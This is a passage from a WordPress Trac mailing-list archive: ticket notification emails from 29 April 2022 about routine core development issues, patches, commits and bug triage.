has-patch has-unit-tests needs-dev- | Focuses: note dev-feedback | -------------------------------------------------+------------------------- Comment (by daveagp): Hi, what investigation is needed exactly? I would love to get this fixed ASAP. Why is this code needed? Gmail auto-hyperlinking ignores periods at the end of plaintext links. Why does it do this? My understanding is that it's a combination of two accessibility features: (1) Gmail automatically turns plaintext links into hyperlinks. So you can click on even plaintext links, instead of copying and pasting. (2) It assumes that if someone writes a plaintext link with a period at the end, it's meant as punctuation. E.g. "To blog, go to wordpress.com." The implied link is not wordpress.com. but it is wordpress.com instead. The proposed fix changes the wordpress-generated plaintext link to one which doesn't fall into this accessibility interpretation. Of course, nothing is currently broken for people who copy-and-paste the URL, but this is not what most people do (can confirm as, in my volunteer role for cscircles.cemc.uwaterloo.ca I get lots of support requests from teachers and students who are running into this deficit). I happen to work at Google (not on gmail) but if that is what is needed to move this forward I can even try to get any specific questions you have answered from folks working on gmail. Thanks! -- Ticket URL: <https://core.trac.wordpress.org/ticket/42957#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 06:19:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 06:19:14 -0000 Subject: [wp-trac] [WordPress Trac] #55172: Twenty Twenty-Two: Add "Accessibility Ready" tag to theme in repository In-Reply-To: <047.b9d143ec205798743730f710212f590b@wordpress.org> References: <047.b9d143ec205798743730f710212f590b@wordpress.org> Message-ID: <062.644d4426751f4c10717419e6bf4408b9@wordpress.org> #55172: Twenty Twenty-Two: Add "Accessibility Ready" tag to theme in repository ------------------------------------+---------------------------- Reporter: bph | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.1 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch dev-feedback | Focuses: accessibility ------------------------------------+---------------------------- Comment (by mikeschroder): Related: https://github.com/WordPress/gutenberg/issues/38924 (this was created as an upstream issue for #55197, above). @mamaduka and I chatted about this a bit ([https://wordpress.slack.com/archives/C02RQBWTW/p1651212212257169?thread_ts=1651212163.279289&cid=C02RQBWTW here]), since it was in the 5.9.4 milestone, rather than 6.0 when it was moved out, and I wanted to be sure this was an appropriate shift. He mentioned to leave it at 6.1 for now due to it being unsure as to whether the enhancement in Gutenberg required would land during a minor release or not, and that he'd take a look at the issue above. So, I'm going to leave the milestone as is for now, but please feel free to move it back in if it's decided differently! -- Ticket URL: <https://core.trac.wordpress.org/ticket/55172#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 08:49:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 08:49:31 -0000 Subject: [wp-trac] [WordPress Trac] #52695: Incorrect way to updateLocale in moment.js add_inline_script In-Reply-To: <056.37677b6a845f75e31b2baf87ba24a473@wordpress.org> References: <056.37677b6a845f75e31b2baf87ba24a473@wordpress.org> Message-ID: <071.d25d4d063f263cabda3fe27f0d3ac439@wordpress.org> #52695: Incorrect way to updateLocale in moment.js add_inline_script --------------------------------+----------------------------- Reporter: yoancutillas | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: External Libraries | Version: 5.6.2 Severity: normal | Resolution: Keywords: | Focuses: --------------------------------+----------------------------- Comment (by yoancutillas): I don't understand, why would you postpone this? Last week again, another WP user experienced this bug. (https://wordpress.org/support/topic/js-errors-with-plugin- files/#post-15579274) The solution was: go to Settings > General > Save changes (without changing any option). It feels very much like a WP bug, right? -- Ticket URL: <https://core.trac.wordpress.org/ticket/52695#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 09:19:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 09:19:55 -0000 Subject: [wp-trac] [WordPress Trac] #31920: oEmbed: Support YouTube timestamps as hashes In-Reply-To: <059.08d956cd85e2dd329599ab1b62df89fe@wordpress.org> References: <059.08d956cd85e2dd329599ab1b62df89fe@wordpress.org> Message-ID: <074.3a58e000f231db2ea27b089f0f4698cf@wordpress.org> #31920: oEmbed: Support YouTube timestamps as hashes -------------------------------------------------+------------------------- Reporter: danielbachhuber | Owner: | peterwilsoncc Type: enhancement | Status: assigned Priority: normal | Milestone: Future | Release Component: Embeds | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests good- | Focuses: first-bug close | -------------------------------------------------+------------------------- Comment (by Rahe): Hello, Tested on 6.0 with the same urls and it's working as expected. -- Ticket URL: <https://core.trac.wordpress.org/ticket/31920#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 09:26:14 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 09:26:14 -0000 Subject: [wp-trac] [WordPress Trac] #55104: is_main_query() fatal error on null In-Reply-To: <052.30ddbf233e7a7b09180faa3eccad8f2b@wordpress.org> References: <052.30ddbf233e7a7b09180faa3eccad8f2b@wordpress.org> Message-ID: <067.bc3f96d4f39cd786d82cf319d0324944@wordpress.org> #55104: is_main_query() fatal error on null ----------------------------------------+----------------------------- Reporter: nhadsall | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Future Release Component: Query | Version: Severity: major | Resolution: Keywords: needs-patch good-first-bug | Focuses: ----------------------------------------+----------------------------- Changes (by johnbillion): * keywords: 2nd-opinion => needs-patch good-first-bug * milestone: Awaiting Review => Future Release Comment: It makes sense to add a guard condition for `$wp_query` to `is_main_query()`. All the other `is_*()` conditionals (`is_single()`, `is_home()`, etc) that inspect `$wp_query` have this guard condition and trigger a call to `_doing_it_wrong()` when `$wp_query` isn't set. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55104#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 09:31:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 09:31:48 -0000 Subject: [wp-trac] [WordPress Trac] #50010: wp-includes/blocks shouldn't be excluded from coding standards In-Reply-To: <055.99eb8b77a3af105b7ce386fd1694b1f7@wordpress.org> References: <055.99eb8b77a3af105b7ce386fd1694b1f7@wordpress.org> Message-ID: <070.4df46d9d84c6b1e3fe072fc2dab48fc2@wordpress.org> #50010: wp-includes/blocks shouldn't be excluded from coding standards -------------------------------------------------+------------------------- Reporter: johnbillion | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: Future | Release Component: Editor | Version: 5.0 Severity: normal | Resolution: Keywords: good-first-bug needs-testing has- | Focuses: coding- patch | standards -------------------------------------------------+------------------------- Comment (by Rahe): Hello, I've added a PR for this since, as said, the PHP files are auto-generated. But maybe there will never be any PHP files into theses directories ? -- Ticket URL: <https://core.trac.wordpress.org/ticket/50010#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 10:18:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 10:18:15 -0000 Subject: [wp-trac] [WordPress Trac] #52840: Include filesize information in REST API response for all media types In-Reply-To: <052.b057c35ada86f6b18fb81bf14363a22a@wordpress.org> References: <052.b057c35ada86f6b18fb81bf14363a22a@wordpress.org> Message-ID: <067.28a720dd90543d64cf2a9713e6973502@wordpress.org> #52840: Include filesize information in REST API response for all media types ----------------------------------------+----------------------------- Reporter: tfrommen | Owner: rachelbaker Type: enhancement | Status: accepted Priority: normal | Milestone: Future Release Component: REST API | Version: Severity: normal | Resolution: Keywords: has-patch needs-unit-tests | Focuses: rest-api ----------------------------------------+----------------------------- Comment (by spacedmonkey): It is worth noting that #49412 merged. For all new attachments uploaded after WP 6.0, filesize will be stored ( cached ) in as part of metadata. To get this file size for all attachments, post thumbnails can be regenerated, say wp cli, like this wp media regenerate. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52840#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 10:19:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 10:19:59 -0000 Subject: [wp-trac] [WordPress Trac] #52322: Add comment / comment id param to get_comment_time In-Reply-To: <056.c80769a3b81287c4039dace0339e7ff5@wordpress.org> References: <056.c80769a3b81287c4039dace0339e7ff5@wordpress.org> Message-ID: <071.4a5b2e1d425670d351f8c5709d749d7d@wordpress.org> #52322: Add comment / comment id param to get_comment_time --------------------------------------+------------------------------ Reporter: spacedmonkey | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Comments | Version: Severity: normal | Resolution: Keywords: good-first-bug has-patch | Focuses: --------------------------------------+------------------------------ Comment (by D SIGNED): Hi, I've just submitted a PR #2646 to check if `get_comment_id` is not null to avoid an error when executing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52322#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 11:40:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 11:40:36 -0000 Subject: [wp-trac] [WordPress Trac] #40927: Passing a float as the position in add_menu_page can override other menu items In-Reply-To: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> References: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> Message-ID: <069.c503aa996506c7f79af3b7d134f0366d@wordpress.org> #40927: Passing a float as the position in add_menu_page can override other menu items -------------------------------------------------+------------------------- Reporter: justinbusa | Owner: | SergeyBiryukov Type: defect (bug) | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch dev-feedback needs- | Focuses: testing has-unit-tests | administration -------------------------------------------------+------------------------- Changes (by david.binda): * status: closed => reopened * resolution: fixed => Comment: Sorry for re-opening. But the logic for computing the `$collision_avoider` has changed in the latest patch. {{{#!php base_convert( substr( md5( $menu_slug . $menu_title ), -4 ), 16, 10 ) * 0.00001; }}} vs. original: {{{#!php substr( base_convert( md5( $menu_slug . $menu_title ), 16, 10 ), -5 ) * 0.00001; }}} and those give different results. I wonder, is this change intentional? -- Ticket URL: <https://core.trac.wordpress.org/ticket/40927#comment:39> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 12:34:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 12:34:21 -0000 Subject: [wp-trac] [WordPress Trac] #55434: About Page for 6.0 Release In-Reply-To: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> References: <054.18012c18e30c48289086da51f648bd5f@wordpress.org> Message-ID: <069.f35dd44e82af472b7154e999b4a31d8d@wordpress.org> #55434: About Page for 6.0 Release -------------------------------------+------------------------------------- Reporter: webcommsat | Owner: marybaum Type: task (blessed) | Status: assigned Priority: high | Milestone: 6.0 Component: Help/About | Version: Severity: normal | Resolution: Keywords: needs-message-strategy | Focuses: ui, docs, needs-design | administration, ui-copy -------------------------------------+------------------------------------- Comment (by estelaris): I like the design but I am concerned about the developers section. Not adding a headline to the last section makes it feel like this update is only about design. Previous pages have it well defined by calling it "For developers" before the field guides, dev notes and other features. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55434#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 12:34:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 12:34:51 -0000 Subject: [wp-trac] [WordPress Trac] #55352: Improve cache key generation in WP_Term_Query In-Reply-To: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> References: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> Message-ID: <071.d7657ab202983d4f3b7399582a4fb651@wordpress.org> #55352: Improve cache key generation in WP_Term_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: Keywords: has-patch has-unit-tests has-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Comment (by spacedmonkey): In [changeset:"53309" 53309]: {{{ #!CommitTicketReference repository="" revision="53309" Taxonomy: Increase cache hits in `WP_Term_Query` when using include and exclude parameters. Ensure that empty values of include and exclude passed to the parameters of `WP_Term_Query`, reused existing caches by resetting values to an empty array. Props Spacedmonkey, peterwilsoncc, hellofromtonya. Follow-up to [52970]. See #55352. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55352#comment:27> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 12:37:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 12:37:18 -0000 Subject: [wp-trac] [WordPress Trac] #55352: Improve cache key generation in WP_Term_Query In-Reply-To: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> References: <056.83ec256dbe1fbdf4ccbdd87da2264554@wordpress.org> Message-ID: <071.7f01cd1e7539def6015b02a406b7a9f0@wordpress.org> #55352: Improve cache key generation in WP_Term_Query -------------------------------------------------+------------------------- Reporter: spacedmonkey | Owner: | spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 4.7 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests has-dev- | Focuses: note | performance -------------------------------------------------+------------------------- Changes (by spacedmonkey): * status: reopened => closed * resolution: => fixed -- Ticket URL: <https://core.trac.wordpress.org/ticket/55352#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 13:32:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 13:32:04 -0000 Subject: [wp-trac] [WordPress Trac] #55637: Remove consecutive whitespaces In-Reply-To: <054.150c69ce10f5c3a691672a047f848d69@wordpress.org> References: <054.150c69ce10f5c3a691672a047f848d69@wordpress.org> Message-ID: <069.b49b9ee3745b92d5c4d28ab1ba08c4c4@wordpress.org> #55637: Remove consecutive whitespaces ------------------------------+----------------------------- Reporter: grandeljay | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: trivial | Resolution: fixed Keywords: has-patch | Focuses: docs ------------------------------+----------------------------- Changes (by SergeyBiryukov): * owner: (none) => SergeyBiryukov * status: new => closed * resolution: => fixed Comment: In [changeset:"53310" 53310]: {{{ #!CommitTicketReference repository="" revision="53310" Docs: Remove double spaces in `tests/phpunit/README.txt`. Props grandeljay. Fixes #55637. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55637#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 13:55:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 13:55:03 -0000 Subject: [wp-trac] [WordPress Trac] #55642: Tools: Further automate backporting from Gutenberg to Core Message-ID: <050.f1f082a987d7dcf764c172fe5a9c23d5@wordpress.org> #55642: Tools: Further automate backporting from Gutenberg to Core ------------------------------+----------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Keywords: has-patch Focuses: | ------------------------------+----------------------- Follow-up for #51491. Updating WordPress packages is currently a manual process that takes some reading and trial&error to figure out: 1. Update browserslist database. 2. Update WordPress packages. 3. Install any new WordPress packages required by the existing dependencies. 4. Update React and other non-WordPress dependencies to the versions required by the WordPress packages. 5. Run `npm run build:dev`. This PR adds a single task called `sync-gutenberg-packages` that automates this entire process. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55642> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 14:00:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 14:00:04 -0000 Subject: [wp-trac] [WordPress Trac] #55642: Tools: Further automate backporting from Gutenberg to Core In-Reply-To: <050.f1f082a987d7dcf764c172fe5a9c23d5@wordpress.org> References: <050.f1f082a987d7dcf764c172fe5a9c23d5@wordpress.org> Message-ID: <065.b29e27877305b5284b8713a7532c8c59@wordpress.org> #55642: Tools: Further automate backporting from Gutenberg to Core ------------------------------+--------------------- Reporter: gziolo | Owner: gziolo Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: trunk Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: ------------------------------+--------------------- Changes (by gziolo): * owner: (none) => gziolo * status: new => closed * resolution: => fixed Comment: In [changeset:"53311" 53311]: {{{ #!CommitTicketReference repository="" revision="53311" Tools: Further automate backporting from Gutenberg to Core Follow-up for #51491. Updating WordPress packages is currently a manual process that takes some reading and trial & error to figure out. This PR adds a single npm task called `sync-gutenberg-packages` that automates this entire process. Props zieladam. Fixes #55642. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55642#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 14:08:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 14:08:59 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.74661649f1f4c257603fed5434526373@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by gziolo): In [changeset:"53312" 53312]: {{{ #!CommitTicketReference repository="" revision="53312" Editor: Fix core 'Featured' pattern category registration Backports changes from https://github.com/WordPress/gutenberg/pull/40650. Patch fixes regression, and moves core "Featured" pattern category registration from `_load_remote_featured_patterns` into `_register_core_block_patterns_and_categories`. Follow-up [53152]. Props mamaduka, ntsekouras. See #55567. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:56> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 14:35:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 14:35:17 -0000 Subject: [wp-trac] [WordPress Trac] #54746: Comment Error in wp-login.php In-Reply-To: <051.661f8373bb0391b330a2dc9d38d527ba@wordpress.org> References: <051.661f8373bb0391b330a2dc9d38d527ba@wordpress.org> Message-ID: <066.6a68bf101b30817995fd0349cc965498@wordpress.org> #54746: Comment Error in wp-login.php ------------------------------------+------------------------------------- Reporter: alkesh7 | Owner: SergeyBiryukov Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Login and Registration | Version: Severity: minor | Resolution: fixed Keywords: | Focuses: docs, coding-standards ------------------------------------+------------------------------------- Changes (by SergeyBiryukov): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53313" 53313]: {{{ #!CommitTicketReference repository="" revision="53313" Docs: Further clarify a comment for the main part of `wp-login.php`. Follow-up to [52945]. Fixes #54746. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54746#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 14:44:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 14:44:31 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.d8c9620282ba2efdbab59cdba0a1ffd7@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53314" 53314]: {{{ #!CommitTicketReference repository="" revision="53314" Docs: Adjust comments in `Gruntfile.js` per the documentation standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:97> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 14:50:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 14:50:40 -0000 Subject: [wp-trac] [WordPress Trac] #54567: Introduce specific item_link and and item_link_description labels for post formats In-Reply-To: <050.053d79578a40af896e699b33c0e096a4@wordpress.org> References: <050.053d79578a40af896e699b33c0e096a4@wordpress.org> Message-ID: <065.2f7029d5be42a83ba40283f80575af05@wordpress.org> #54567: Introduce specific item_link and and item_link_description labels for post formats -------------------------+------------------------------ Reporter: Chouby | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Taxonomy | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: -------------------------+------------------------------ Comment (by Chouby): Just found out that I forgot to link to the Gütenberg part: https://github.com/WordPress/gutenberg/pull/37103 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54567#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 15:23:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 15:23:39 -0000 Subject: [wp-trac] [WordPress Trac] #55574: WP_REST_Pattern_Directory_Controller::get_items doesn't support array arguments In-Reply-To: <057.4a7bf33d75b57745588ace8517acc77b@wordpress.org> References: <057.4a7bf33d75b57745588ace8517acc77b@wordpress.org> Message-ID: <072.17d49d8ff5ca2cbfbfb6d56378e4651d@wordpress.org> #55574: WP_REST_Pattern_Directory_Controller::get_items doesn't support array arguments ---------------------------+---------------------------- Reporter: antonvlasenko | Owner: antonvlasenko Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.8 Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: rest-api ---------------------------+---------------------------- Changes (by costdev): * version: trunk => 5.8 * milestone: Awaiting Review => 6.0 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55574#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 15:30:42 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 15:30:42 -0000 Subject: [wp-trac] [WordPress Trac] #55590: Twenty Twenty Two - Single Post Comment Form Button Font Family In-Reply-To: <050.f0ed09d48d2256d3e93952baae6d1da6@wordpress.org> References: <050.f0ed09d48d2256d3e93952baae6d1da6@wordpress.org> Message-ID: <065.d27c8d82c82fdc5228f3d22ea597538e@wordpress.org> #55590: Twenty Twenty Two - Single Post Comment Form Button Font Family ---------------------------+------------------------------ Reporter: kafleg | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: 5.9 Severity: normal | Resolution: Keywords: has-patch | Focuses: ---------------------------+------------------------------ Comment (by jffng): Hi @kafleg thanks for the ticket and PR. Instead of CSS, could we add this via theme.json instead under styles > blocks > core/button > typography > fontFamily? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55590#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 15:34:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 15:34:18 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.8e2b6a0b2babe417d4fdce4dad309c8c@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: needs-patch | Focuses: accessibility -----------------------------+---------------------------- Changes (by sabernhardt): * Attachment "55575.1.diff" added. removing ID from extra quick edit elements -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 15:37:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 15:37:32 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.b860f3e98ee3adb9f89443f1fd50c992@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: needs-patch | Focuses: accessibility -----------------------------+---------------------------- Comment (by sabernhardt): If we can rely on always retaining the original (hidden) quick edit elements, the `id` could be removed from the script-added quick edit rows. Then the `aria-labelledby` and `aria-describedby` would refer to a hidden element. There is still at least one flaw with the patch: I don't know why the bulk edit row prints `quick-edit-[post_tag]-desc` for the taxonomy field descriptions when I used the same condition as in the `legend`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 16:04:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 16:04:41 -0000 Subject: [wp-trac] [WordPress Trac] #55230: Release 5.9.1 breaks administration login. In-Reply-To: <057.1670da42e118d9d1a8fcb4ffc1415dc9@wordpress.org> References: <057.1670da42e118d9d1a8fcb4ffc1415dc9@wordpress.org> Message-ID: <072.7c6de5d635d61a3ffefc951e92fa64c2@wordpress.org> #55230: Release 5.9.1 breaks administration login. -------------------------------------+------------------------------ Reporter: carlduranleau | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: 5.9.1 Severity: normal | Resolution: Keywords: reporter-feedback close | Focuses: administration -------------------------------------+------------------------------ Comment (by carlduranleau): Replying to [comment:14 peterwilsoncc]: No problem, you can close the ticket. It must be a problem with the theme plugin. I had to disable automatic WP updates because the issue got back after another update. Thank you for your help. If I find something useful, I'll let you know. > This was discussed during a bug scrub earlier. > > As three are no reproduction steps, it was decided to move it off the milestone and assign the close keyword. It appears there have been numerous attempts to reproduce the issue but without success. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55230#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 16:07:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 16:07:46 -0000 Subject: [wp-trac] [WordPress Trac] #55643: Backport updates of Comment blocks tests Message-ID: <052.28c2aaea8cbe4d935b0bd7218de63ee4@wordpress.org> #55643: Backport updates of Comment blocks tests -------------------------+----------------------------- Reporter: darerodz | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | -------------------------+----------------------------- We have introduced fixes to some Comments blocks in Gutenberg regarding pending moderation comments and coverage of odd/even classes. As we also updated their related PHPUnit tests, we need to backport those changes to WordPress core manually. Related changes to the {{{build_comment_query_vars_from_block}}} function were already backported in #55634. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55643> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 16:25:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 16:25:39 -0000 Subject: [wp-trac] [WordPress Trac] #52356: npm install does not work on wordpress-trunk on new Mac M1's In-Reply-To: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> References: <056.8ff11d30f185d29b5edcf30954ab9e5f@wordpress.org> Message-ID: <071.d4019a0f392c3e9c9923df256b383f91@wordpress.org> #52356: npm install does not work on wordpress-trunk on new Mac M1's ------------------------------------+------------------------------ Reporter: justinahinon | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: 5.7 Severity: normal | Resolution: Keywords: has-patch dev-feedback | Focuses: ------------------------------------+------------------------------ Changes (by johnbillion): * keywords: reporter-feedback has-patch => has-patch dev-feedback Comment: I've opened a PR at https://github.com/WordPress/wordpress- develop/pull/2650 which uses the https://hub.docker.com/r/amd64/mysql/ and https://hub.docker.com/r/amd64/mariadb/ images on arm64 machines instead of using the `--platform` property. Tested and working for me on an M1 MacBook Pro, would appreciate testing from others. -- Ticket URL: <https://core.trac.wordpress.org/ticket/52356#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 29 16:37:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 29 Apr 2022 16:37:02 -0000 Subject: [wp-trac] [WordPress Trac] #55230: Release 5.9.1 breaks administration login. In-Reply-To: <057.1670da42e118d9d1a8fcb4ffc1415dc9@wordpress.org> References: <057.1670da42e118d9d1a8fcb4ffc1415dc9@wordpress.org> Message-ID: <072.21a792530d2608778b3c63ff4d0c0970@wordpress.org> #55230: Release 5.9.1 breaks administration login. 